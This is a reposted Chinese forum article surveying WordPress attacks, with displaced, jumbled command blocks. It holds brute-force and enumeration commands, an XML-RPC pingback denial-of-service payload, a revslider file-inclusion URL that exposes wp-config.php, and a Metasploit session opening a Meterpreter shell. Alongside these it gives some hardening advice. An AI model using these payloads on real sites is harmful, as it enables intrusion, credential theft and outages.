搜索

[28487] 2020-08-09_WordPress攻击系列

文档创建者：s7ckTeam
浏览次数：1
最后更新：2025-01-19
2020-08-09_WordPress攻击系列 W o r d P r e s s   攻 击 系 列 O t s 安 全   2 0 2 0 - 0 8 - 0 9 1 . 暴 力 暴 力 w p - l o g i n . p h p 表 单 表 单 针 对 W o r d P r e s s 用 户 的 最 常 见 攻 击 是 强 行 强 制 使 用 帐 户 密 码 来 访 问 W o r d P r e s s 系 统 的 后 端 。 可 以 泄 露 密 码 的 其 他 方 法 包 括 通 过 H T T P 登 录 会 话 以 明 文 形 式 嗅 探 密 码 ， 甚 至 从 W o r d P r e s s 管 理 员 工 作 站 上 的 密 钥 记 录 器 获 取 凭 据 。 具 有 管 理 员 级 别 访 问 权 限 的 帐 户 是 最 受 追 捧 的 帐 户 ， 因 为 管 理 员 用 户 可 能 会 遇 到 很 多 麻 烦 。 常 见 的 示 例 是 通 过 管 理 界 面 添 加 P H P   c o m m a n d   s h e l l s 或 j a v a s c r i p t 直 接 恶 意 添 加 。 使 用 我 们 在 信 息 收 集 期 间 收 集 的 用 户 名 ， 我 们 可 以 开 始 （ 或 尝 试 a d m i n ） 。 查 看 登 录 表 单 / w p - l o g i n . p h p ， 注 意 输 入 错 误 密 码 后 失 败 的 登 录 如 何 确 认 用 户 名 。 这 对 攻 击 者 非 常 有 帮 助 。 . . . 对 于 忘 记 了 用 户 名 和 密 码 的 最 终 用 户 ， 它 也 使 事 情 变 得 更 加 用 户 友 好 。 此 “ 功 能 ” 已 经 过 辩 论 ， 因 此 已 决 定 将 此 响 应 保 留 在 W o r d P r e s s 代 码 内 。 3 种 弹 出 弱 密 码 的 工 具 种 弹 出 弱 密 码 的 工 具 使 用 许 多 开 源 工 具 可 以 强 行 强 制 用 户 帐 户 。 此 外 ， 还 有 一 些 蠕 虫 之 类 的 脚 本 可 通 过 W o r d P r e s s 生 态 系 统 传 播 ， 使 用 弱 管 理 员 密 码 搜 索 并 传 播 到 W o r d P r e s s 网 站 。 扫 描 器 扫 描 器 前 面 提 到 的 W P S c a n 工 具 除 了 枚 举 外 ， 还 可 以 执 行 暴 力 登 录 攻 击 。 这 是 我 使 用 W P S c a n 针 对 低 端 D i g i t a l   O c e a n   V P S （ 5 美 元 / 月 ） 运 行 的 测 试 的 示 例 输 出 ， 在 该 产 品 中 我 已 经 安 装 了 W o r d P r e s s 的 默 认 安 装 。 让 我 们 回 顾 一 下 输 出 。 针 对 “   t e s t a d m i n ” 帐 户 测 试 了 5 0 0 个 密 码 （ 在 用 户 枚 举 期 间 发 现 ） 。 在 1 分 1 6 秒 内 测 试 了 这 5 0 0 个 密 码 ！ 随 着 测 试 的 进 行 ， 对 该 站 点 的 干 扰 为 零 。 如 果 没 有 适 当 的 安 全 日 志 监 视 系 统 ， W e b 服 务 器 管 理 员 将 不 知 道 会 发 生 攻 击 （ O S S E C 做 到 了 这 一 点 ） 。 上 面 使 用 的 “   5 0 0 最 差 ” 密 码 列 表 来 自 S k u l l   S e c u r i t y 。 该 站 点 有 大 量 的 密 码 列 表 ， 包 括 众 所 周 知 的 r o c k y o u 列 表 （ 6 0 M B ） ， 其 中 包 含 5 0 0 多 个 密 码 ！ N m a p   N S E 脚 本 脚 本 N m a p 端 口 扫 描 程 序 所 能 做 的 远 不 止 是 查 找 开 放 端 口 。 N m a p 的 最 新 版 本 与 N S E 脚 本 捆 绑 在 一 起 ， 可 用 于 测 试 许 多 不 同 的 漏 洞 。 包 括 枚 举 用 户 和 强 行 使 用 W o r d P r e s s 密 码 。 r u b y   w p s c a n . r b   - u   1 9 2 . 2 4 1 . x x . x 6 8   - - t h r e a d s   2 0   - - w o r d l i s t   5 0 0 w o r s t . t x t   - - u s e r n a m e   t e s t a d m i n * * * * * * * * *   S N I P   * * * * * * * * * * * * * * *   * * * [ + ] 启 动 密 码 暴 力 破 解 者 暴 力 破 解     用 户 ' t e s t a d m i n ' 时 使 用 5 0 0 个 密 码 . . .   1 0 0 ％ 完 成 。 n m a p   - s V   - - s c r i p t   h t t p - w o r d p r e s s - e n u m   - - s c r i p t - a r g s   l i m i t = 2 5   P O R T       S T A T E   S E R V I C E   R E A S O N 8 0 / t c p   o p e n     h t t p         s y n - a c k |   h t t p - w o r d p r e s s - e n u m :   |   U s e r n a m e   f o u n d :   a d m i n |   U s e r n a m e   f o u n d :   t e s t a d m i n |   U s e r n a m e   f o u n d :   f r e d |   U s e r n a m e   f o u n d :   a l i c e
上 面 的 输 出 显 示 了 使 用 h t t p - w o r d p r e s s - e n u m   N S E 脚 本 枚 举 W o r d P r e s s 用 户 的 示 例 。 以 上 是 使 用 h t t p - w o r d p r e s s - b r u t e   N S E 脚 本 强 行 强 制 W o r d P r e s s 帐 户 的 结 果 。 B u r p   S u i t e 对 于 熟 悉 W e b 应 用 程 序 安 全 测 试 的 人 员 ， B u r p   S u i t e 入 侵 者 工 具 也 可 以 用 于 强 制 使 用 W o r d P r e s s 密 码 。 毕 竟 ， W o r d P r e s s 登 录 尝 试 只 是 H T T P   P O S T 请 求 。 配 置 B u r p   I n t r u d e r 以 发 送 有 效 的 用 户 名 （ 或 用 户 名 列 表 ） 以 及 可 能 的 密 码 列 表 ， 然 后 等 待 成 功 登 录 。 2 . 通 过 通 过 x m l r p c . p h p 进 行 蛮 力 登 录 进 行 蛮 力 登 录 该 x m l r p c . p h p 功 能 是 一 个 A P I 端 点 ， 它 允 许 移 动 应 用 程 序 和 其 他 可 编 程 访 问 W o r d P r e s s 网 站 的 后 端 功 能 （ 例 如 发 布 帖 子 ） 。 默 认 情 况 下 已 启 用 它 ， 并 且 根 据 权 限 和 目 标 W o r d P r e s s 安 装 版 本 的 不 同 ， 可 能 对 端 点 进 行 多 种 攻 击 。 通 过 使 用 x m l r p c . p h p 端 点 攻 击 W o r d P r e s s 帐 户 ， 我 们 可 以 绕 过 保 护 插 件 不 受 滥 用 的 安 全 性 插 件 。 这 种 密 码 猜 测 攻 击 也 可 能 会 更 快 ， 结 果 是 您 可 以 尝 试 使 用 更 多 密 码 。 请 注 意 - d ， 中 的 c u r l 是 作 为 P O S T 请 求 的 一 部 分 发 送 的 数 据 。 您 也 可 以 使 用 B u r p 或 您 喜 欢 的 脚 本 语 言 来 处 理 此 请 求 。 在 响 应 中 ， 我 们 将 看 到 无 效 的 密 码 响 应 或 成 功 。 很 容 易 发 现 并 使 用 脚 本 。 3 . 通 过 通 过 x m l r p c . p h p 拒 绝 服 务 （ 拒 绝 服 务 （ D O S ） ） x m l r p c . p h p 端 点 的 另 一 种 用 途 是 执 行 拒 绝 服 务 攻 击 。 如 果 启 用 了 此 功 能 ， 我 们 可 以 向 服 务 器 发 送 一 个 小 的 请 求 ， 并 使 其 以 一 整 页 内 容 作 为 响 应 来 响 应 我 们 选 择 的 目 标 。 这 个 想 法 是 从 不 同 的 系 统 发 出 多 个 请 求 ， 并 使 它 们 全 部 针 对 单 个 主 机 。 由 于 网 络 拥 塞 ， 有 可 能 使 它 脱 机 。 首 先 ， 我 们 列 举 了 x m l r p c . p h p 端 点 的 功 能 。 响 应 将 是 可 用 方 法 的 列 表 。 |   U s e r n a m e   f o u n d :   a l i c e |   U s e r n a m e   f o u n d :   b o b | _ S e a r c h   s t o p p e d   a t   I D   # 2 5 .   I n c r e a s e   t h e   u p p e r   l i m i t   i f   n e c e s s a r y   w i t h   ' h t t p - w o r d p r e s s - e n u m . l i m i t ' P O R T           S T A T E   S E R V I C E   R E A S O N 8 0 / t c p       o p e n     h t t p         s y n - a c k |   h t t p - w o r d p r e s s - b r u t e : |       A c c o u n t s |           t e s t a d m i n : m y S 3 c u r e P a s s   = >   L o g i n   c o r r e c t |       S t a t i s t i c s | _         P e r f o m e d   1 1 3   g u e s s e s   i n   1 9   s e c o n d s ,   a v e r a g e   t p s :   6 c u r l   - X   P O S T   - d “   < m e t h o d C a l l >   < m e t h o d N a m e >   w p . g e t U s e r s B l o g s   < /   m e t h o d N a m e >   < p a r a m s >   < p a r a m >   < v a l u e >   a d m i n   < /   v a l u e >   < /   p a r a m >   < p a r a m >   < v a l u e >   p a s s   < /   v a l u e >   <   /   p a r a m >   < /   p a r a m s >   < /   m e t h o d C a l l > ”   h t t p : / / e x a m p l e w p . c o m / x m l r p c . p h p c u r l   - X   P O S T   - d “   < m e t h o d C a l l >   < m e t h o d N a m e >   s y s t e m . l i s t M e t h o d s   < /   m e t h o d N a m e >   < p a r a m s >   < /   p a r a m s >   < /   m e t h o d C a l l > ”   h t t p : / / e x a m p l e w p . c o m / x m l r p c . p h p < ? x m l   v e r s i o n = " 1 . 0 "   e n c o d i n g = " U T F - 8 " ? > < m e t h o d R e s p o n s e >     < p a r a m s >         < p a r a m >             < v a l u e >             < a r r a y > < d a t a >     < v a l u e > < s t r i n g > s y s t e m . l i s t M e t h o d s < / s t r i n g > < / v a l u e >
请 注 意 p i n g b a c k . p i n g 表 示 已 启 用 p i n g b a c k 。 使 用 以 下 数 据 进 行 p i n g b a c k 尝 试 。 如 果 不 使 用 A P I ， 建 议 禁 用 x m l r p c . p h p 从 W e b 服 务 器 的 访 问 或 使 用 . h t a c c e s s 。 它 不 仅 可 以 阻 止 任 何 攻 击 ， 而 且 还 可 以 减 少 僵 尸 程 序 尝 试 攻 击 这 些 A P I 端 点 的 日 志 中 的 噪 音 。 4 . 利 用 利 用 W o r d P r e s s 插 件 插 件 插 件 ， 主 题 和 W o r d P r e s s   C o r e 都 包 含 来 自 世 界 各 地 的 开 发 人 员 的 大 量 P H P 代 码 。 这 些 开 发 人 员 在 编 写 安 全 软 件 方 面 具 有 不 同 的 能 力 和 重 点 。 因 此 ， 攻 击 者 可 以 利 用 数 千 个 可 利 用 的 漏 洞 。 对 于 任 何 W o r d P r e s s 管 理 员 来 说 ， 更 新 插 件 ， W o r d P r e s s 核 心 和 主 题 都 必 须 作 为 日 常 任 务 ， 以 确 保 已 知 漏 洞 已 得 到 修 补 。 常 见 漏 洞 包 括 X S S ， S Q L 注 入 ， 文 件 上 传 和 代 码 执 行 。 所 有 这 些 都 会 给 W o r d P r e s s 网 站 带 来 毁 灭 性 的 后 果 。 通 过 M e t a s p l o i t 和 e x p l o i t - d b . c o m 搜 索 可 利 用 的 W o r d P r e s s 错 误 。 R e v s l i d e r 示 例 漏 洞 利 用 示 例 漏 洞 利 用 W o r d P r e s s 插 件 利 用 的 一 个 例 子 是 5 年 前 发 现 的 一 个 漏 洞 。 易 受 攻 击 的 r e v s l i d e r 插 件 导 致 成 千 上 万 的 W o r d P r e s s 站 点 遭 到 入 侵 。 直 到 今 天 ， 甚 至 在 2 0 1 9 年 ， 我 们 都 在 尝 试 在 我 们 的 W e b 服 务 器 日 志 中 利 用 它 。 一 个 如 此 受 欢 迎 的 插 件 的 一 个 原 因 是 ， 它 与 许 多 主 题 捆 绑 在 一 起 。 可 能 有 许 多 剥 削 机 会 ， 但 这 也 许 最 容 易 证 明 。 利 用 漏 洞 与 在 浏 览 器 中 加 载 此 U R L 一 样 困 难 。 如 果 H T T P 请 求 w p - c o n f i g . p h p 已 r e v s l i d e r 安 装 了 可 利 用 的 版 本 ， 则 它 将 从 易 受 攻 击 的 站 点 下 载 文 件 。 漏 洞 利 用 类 型 称 为 本 地 文 件 i n c l u d e ， 因 为 攻 击 者 欺 骗 了 应 用 程 序 代 码 以 在 输 出 中 包 含 敏 感 文 件 。 在 w p - c o n f i g . p h p 不 正 常 访 问 ， 并 包 含 数 据 库 凭 证 的 W o r d P r e s s 数 据 库 用 户 。 使 用 数 据 库 密 码 ， 攻 击 者 可 以 尝 试 使 用 相 同 的 密 码 （ 如 果 密 码 被 重 复 使 用 ） 以 W o r d P r e s s   管 理 员 的 身 份 登 录 。 更 为 常 见 的 攻 击 手 段 是 登 录 p h p m y a d m i n 脚 本 （ 如 果 已 安 装 ） ， 因 为 该 脚 本 使 用 数 据 库 凭 据 。 如 果 M y S Q L 是 公 开 的 ， 甚 至 可 以 使 用 M y S Q L 数 据 库 客 户 端 和 泄 漏 的 凭 据 直 接 连 接 到 数 据 库 。 对 数 据 库 的 访 问 为 攻 击 者 提 供 了 以 下 选 项 ： 重 置 管 理 员 密 码 ， 尝 试 破 解 管 理 员 哈 希 ， 修 改 数 据 库 内 容 以 添 加 恶 意 j s 或 i f r a m e 。 一 旦 凭 据 w p - c o n f i g . p h p 泄 漏 ， 就 有 很 多 进 一 步 利 用 的 可 能 性 。 5 . 利 用 利 用 W o r d P r e s s 主 题 示 例 主 题 示 例 可 以 从 各 个 地 方 和 论 坛 利 用 漏 洞 。 本 示 例 使 用 了 流 行 的 M e t a s p l o i t   E x p l o i t a t i o n   F r a m e w o r k 中 的 漏 洞 。 脆 弱 的 主 题 是 非 常 流 行 的 o p t i m p r e s s p r e s s 。 该 漏 洞 于 2 0 1 3 年 发 布 ， 1 . 4 5 以 后 的 版 本 不 容 易 受 到 此 漏 洞 的 攻 击 。 使 用 标 准 的 M e t a s p l o i t 命 令 ， 我 们 可 以 加 载 模 块 ， 配 置 选 项 ， 选 择 有 效 负 载 并 加 以 利 用 。 结 果 是 仅 需 几 分 钟 即 可 完 成 对 服 务 器 的 外 壳 程 序 访 问 。     < v a l u e > < s t r i n g > s y s t e m . g e t C a p a b i l i t i e s < / s t r i n g > < / v a l u e >     < v a l u e > < s t r i n g > p i n g b a c k . e x t e n s i o n s . g e t P i n g b a c k s < / s t r i n g > < / v a l u e >     < v a l u e > < s t r i n g > p i n g b a c k . p i n g < / s t r i n g > < / v a l u e >     < v a l u e > < s t r i n g > m t . p u b l i s h P o s t < / s t r i n g > < / v a l u e > * * * *   t r u n c a t e d   * * * * < m e t h o d C a l l > < m e t h o d N a m e > p i n g b a c k . p i n g < / m e t h o d N a m e > < p a r a m s > < p a r a m > < v a l u e > < s t r i n g > h t t p : / / * * d e n i a l - o f - s e r v i c e - t a r g e t * * : * * p o r t n o * * < / s t r i n g > < / v a l u e > < / p a r a m > < p a r a m > < v a l u e > < s t r i n g > h t t p : / / * * b l o g - u r l - f r o m - w p * * < / s t r i n g > < / v a l u e > < / p a r a m > < / p a r a m s > < / m e t h o d C a l l > h t t p s : / / e x a m p l e w p . c o m / w p - a d m i n / a d m i n - a j a x . p h p ? a c t i o n = r e v s l i d e r _ s h o w _ i m a g e & i m g = . . / w p - c o n f i g . p h p
在 此 示 例 中 ， 漏 洞 类 型 是 m e d i a - u p l o a d . p h p 主 题 中 的 文 件 上 传 漏 洞 。 通 过 利 用 此 漏 洞 ， 我 们 可 以 上 载 P H P S h e l l 或 其 他 代 码 ， 从 而 使 我 们 能 够 执 行 代 码 。 这 里 要 记 住 的 关 键 点 是 - 识 别 插 件 和 主 题 是 利 用 W o r d P r e s s 网 站 进 行 有 针 对 性 攻 击 的 第 一 步 。 大 量 利 用 W o r d P r e s s 网 站 的 机 器 人 和 自 动 攻 击 脚 本 没 有 执 行 枚 举 阶 段 ， 它 们 只 是 推 动 了 数 千 个 站 点 的 漏 洞 利 用 ， 并 希 望 获 得 成 功 的 有 效 载 荷 。 可 以 利 用 未 启 用 的 插 件 和 主 题 。 扫 描 这 些 易 受 攻 击 文 件 的 默 认 位 置 是 自 动 b o t 的 一 种 常 见 攻 击 。 6 . 利 用 利 用 W o r d P r e s s 核 心 核 心 W o r d P r e s s 核 心 中 的 漏 洞 时 有 发 生 。 尽 管 远 程 未 经 身 份 验 证 的 漏 洞 很 少 见 ， 但 是 任 何 攻 击 者 都 可 以 很 好 地 熟 悉 W o r d P r e s s C o r e 中 更 可 利 用 的 漏 洞 。 c v e d e t a i l s . c o m 上 的 漏 洞 列 表 是 一 个 很 好 的 指 示 ， 它 表 明 与 5 年 前 的 状 态 相 比 ， 发 现 的 漏 洞 的 严 重 性 要 低 得 多 。 利 用 利 用 C V E - 2 0 1 9 - 8 9 4 2 和 和 C V E - 2 0 1 9 - 8 9 4 3 的 示 例 的 示 例 使 用 M e t a s p l o i t ， 此 示 例 将 演 示 W o r d P r e s s 版 本 4 . 9 . 8 和 W o r d P r e s s   5 . 0 . 0 中 存 在 的 漏 洞 。 使 用 此 漏 洞 ， 我 们 通 过 结 合 路 径 遍 历 和 本 地 文 件 包 含 的 核 心 漏 洞 获 得 了 任 意 代 码 执 行 。 如 果 攻 击 者 可 以 使 用 至 少 具 有 作 者 权 限 的 帐 户 访 问 帐 户 ， 则 可 能 可 以 执 行 代 码 。 下 面 详 细 介 绍 了 使 用 该 w p _ c r o p _ r c e 模 块 的 标 准 M e t a s p l o i t 开 发 过 程 。 在 P H P   M e t e r p r e t e r 就 会 是 使 攻 击 者 在 目 标 系 统 上 运 行 命 令 ， 以 及 上 传 / 下 载 文 件 的 功 能 ， 远 程 代 理 。 m s f 5   >   u s e   e x p l o i t / u n i x / w e b a p p / w p _ c r o p _ r c e m s f 5   e x p l o i t ( u n i x / w e b a p p / w p _ c r o p _ r c e )   >   s e t   r h o s t s   1 2 7 . 0 . 0 . 1 r h o s t s   = >   1 2 7 . 0 . 0 . 1 m s f 5   e x p l o i t ( u n i x / w e b a p p / w p _ c r o p _ r c e )   >   s e t   u s e r n a m e   a u t h o r u s e r n a m e   = >   a u t h o r m s f 5   e x p l o i t ( u n i x / w e b a p p / w p _ c r o p _ r c e )   >   s e t   p a s s w o r d   a u t h o r p a s s w o r d   = >   a u t h o r m s f 5   e x p l o i t ( u n i x / w e b a p p / w p _ c r o p _ r c e )   >   r u n [ * ]   S t a r t e d   r e v e r s e   T C P   h a n d l e r   o n   1 2 7 . 0 . 0 . 1 : 4 4 4 4   [ * ]   A u t h e n t i c a t i n g   w i t h   W o r d P r e s s   u s i n g   a u t h o r : a u t h o r . . . [ + ]   A u t h e n t i c a t e d   w i t h   W o r d P r e s s [ * ]   P r e p a r i n g   p a y l o a d . . . [ * ]   C h e c k i n g   c r o p   l i b r a r y [ * ]   U p l o a d i n g   p a y l o a d [ + ]   I m a g e   u p l o a d e d [ * ]   U p l o a d i n g   p a y l o a d [ + ]   I m a g e   u p l o a d e d
W o r d P r e s s   4 . 7 . 0 和 和 4 . 7 . 1 中 未 经 身 份 验 证 的 内 容 注 入 中 未 经 身 份 验 证 的 内 容 注 入 从 2 0 1 7 年 开 始 ， 此 漏 洞 使 攻 击 者 能 够 使 用 w p - j s o n A P I   将 内 容 注 入 到 帖 子 中 。 W o r d P r e s s 的 4 . 7   /   4 . 7 . 1   -   远 程 未 经 认 证 的 内 容 注 入 7 . 通 过 非 安 全 登 录 嗅 探 和 捕 获 凭 据 通 过 非 安 全 登 录 嗅 探 和 捕 获 凭 据 如 果 没 有 其 他 安 全 措 施 （ T L S / S S L ） ， / w p - a d m i n / 则 无 法 通 过 未 加 密 的 连 接 访 问 仪 表 板 。 这 意 味 着 ， 如 果 您 通 过 不 安 全 的 网 络 （ 例 如 本 地 咖 啡 店 或 机 场 的 无 线 网 络 ） 登 录 W o r d P r e s s 网 站 ， 则 攻 击 者 可 以 通 过 监 视 您 的 会 话 来 捕 获 用 于 管 理 该 网 站 的 登 录 名 和 密 码 。 在 此 示 例 W i r e s h a r k 捕 获 中 ， 我 们 可 以 清 楚 地 看 到 在 的 P O S T 请 求 中 捕 获 的 用 户 名 和 密 码 w p - l o g i n . p h p 。 8 . 易 受 攻 击 的 服 务 器 软 件 易 受 攻 击 的 服 务 器 软 件 测 试 W o r d P r e s s 应 用 程 序 本 身 只 是 确 保 您 的 网 站 安 全 的 一 部 分 。 托 管 网 站 的 服 务 器 也 必 须 保 持 安 全 。 服 务 器 软 件 或 操 作 系 统 中 当 然 可 以 存 在 可 利 用 的 安 全 漏 洞 。 可 以 在 任 何 漏 洞 邮 件 列 表 中 找 到 示 例 。 最 近 ， 在 E x i m 中 发 现 了 一 个 远 程 执 行 代 码 漏 洞 ， 该 漏 洞 是 I n t e r n e t 上 最 流 行 的 邮 件 传 递 服 务 器 之 一 。 P H P M y A d m i n 由 于 其 受 欢 迎 程 度 和 漏 洞 列 表 而 广 受 攻 击 。 9 . 服 务 器 软 件 配 置 错 误 服 务 器 软 件 配 置 错 误 即 使 不 存 在 可 利 用 的 漏 洞 ， 简 单 的 错 误 配 置 也 会 使 服 务 容 易 受 到 攻 击 。 通 常 ， 过 度 劳 累 的 系 统 管 理 员 只 是 通 过 错 误 配 置 来 引 入 安 全 漏 洞 。 损 害 系 统 管 理 工 具 对 服 务 器 管 理 帐 户 的 成 功 密 码 猜 测 攻 击 将 使 攻 击 者 具 有 对 服 务 器 和 W o r d P r e s s 应 用 程 序 的 完 全 访 问 权 限 。 可 以 用 蛮 力 密 码 猜 测 攻 击 的 服 务 包 括 ： 1 .   S S H 服 务 2 .   M y S Q L 数 据 库 服 务 3 .   W e b m i n 服 务 器 管 理 4 .   C P a n e l 或 W H C M S 虚 拟 主 机 控 制 面 板 [ + ]   I m a g e   u p l o a d e d [ * ]   I n c l u d i n g   i n t o   t h e m e [ * ]   S e n d i n g   s t a g e   ( 3 8 2 4 7   b y t e s )   t o   1 2 7 . 0 . 0 . 1 [ * ]   M e t e r p r e t e r   s e s s i o n   1   o p e n e d   ( 1 2 7 . 0 . 0 . 1 : 4 4 4 4   - >   1 2 7 . 0 . 0 . 1 : 3 6 5 6 8 )   a t   2 0 1 9 - 0 3 - 1 9   1 1 : 3 3 : 2 7   - 0 4 0 0 m e t e r p r e t e r   >   s y s i n f o C o m p u t e r         :   u b u n t u O S                     :   L i n u x   u b u n t u   4 . 1 5 . 0 - 4 6 - g e n e r i c   # 4 9 - U b u n t u   S M P   W e d   F e b   6   0 9 : 3 3 : 0 7   U T C   2 0 1 9   x 8 6 _ 6 4 M e t e r p r e t e r   :   p h p / l i n u x
5 .   p h p M y A d m i n 数 据 库 管 理 应 用 程 序 减 少 管 理 帐 户 泄 露 的 机 会 ： 1 .   在 任 何 地 方 都 使 用 强 密 码 ， 请 勿 重 复 使 用 ！ 2 .   将 S S H 移 至 其 他 端 口 3 .   将 T L S   /   S S L 用 于 基 于 W e b 的 管 理 服 务 ， 以 防 止 嗅 探 和 凭 据 泄 露 4 .   能 够 连 接 到 面 向 I n t e r n e t 的 服 务 的 白 名 单 I P 地 址 1 0 . 内 容 发 现 内 容 发 现 内 容 发 现 是 尝 试 在 W e b 路 径 中 查 找 感 兴 趣 的 项 目 的 过 程 。 它 适 用 于 任 何 W e b 应 用 程 序 ， 但 是 由 于 我 们 正 在 攻 击 W o r d P r e s s ， 因 此 请 将 其 针 对 W o r d P r e s s 安 装 中 的 典 型 文 件 和 感 兴 趣 的 路 径 。 例 如 ： 这 两 个 示 例 使 用 c u r l 来 查 找 我 们 前 面 讨 论 的 w p - c o n f i g . p h p 文 件 的 可 能 备 份 文 件 ， 因 为 该 文 件 包 含 敏 感 信 息 ， 包 括 数 据 库 凭 证 。 第 二 次 尝 试 尝 试 下 载 在 v i m 编 辑 文 件 时 自 动 创 建 的 备 份 文 件 。 不 直 接 在 生 产 站 点 上 编 辑 文 件 的 充 分 理 由 ！ 只 需 编 写 少 量 脚 本 即 可 使 用 c u r l 数 百 个 甚 至 数 千 个 通 用 文 件 执 行 此 搜 索 任 务 。 另 一 方 面 ， 更 合 适 的 工 具 （ 例 如 B u r p   S u i t e 或 g o b u s t e r ） （ 由 于 其 并 行 处 理 而 非 常 快 ） 将 做 得 更 好 。 c u r l   h t t p s : / / t e s t w o r d s i t e . c o m / w p - c o n f i g . p h p . b a k   c u r l   h t t p s : / / t e s t w o r d p r e s s i t e . c o m / . w p - c o n f i g . p h p . s w p
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理